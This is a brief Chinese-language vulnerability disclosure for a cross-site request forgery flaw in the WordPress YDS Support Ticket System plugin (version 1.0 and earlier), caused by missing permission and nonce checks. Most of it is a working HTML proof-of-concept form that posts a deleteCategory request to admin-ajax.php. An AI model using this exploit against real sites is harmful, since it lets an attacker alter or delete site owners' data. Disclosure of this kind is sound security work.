WordPress YDS Support Ticket System plugin <= 1.0 -CSRF漏洞

由于缺少对权限的控制以及nonce的判断,从而导致CSRF漏洞
POC如下:
< html>
< body>
< form action="http://localhost/new/wp-admin/admin-ajax.php?action=deleteCategory" method="POST" enctype="multipart/form-data">
< input type="hidden" name="catId" value="1">
< input type="submit" name="Submit">
< /form>
< /body>
< /html>
提交完后从而修改了CATID的值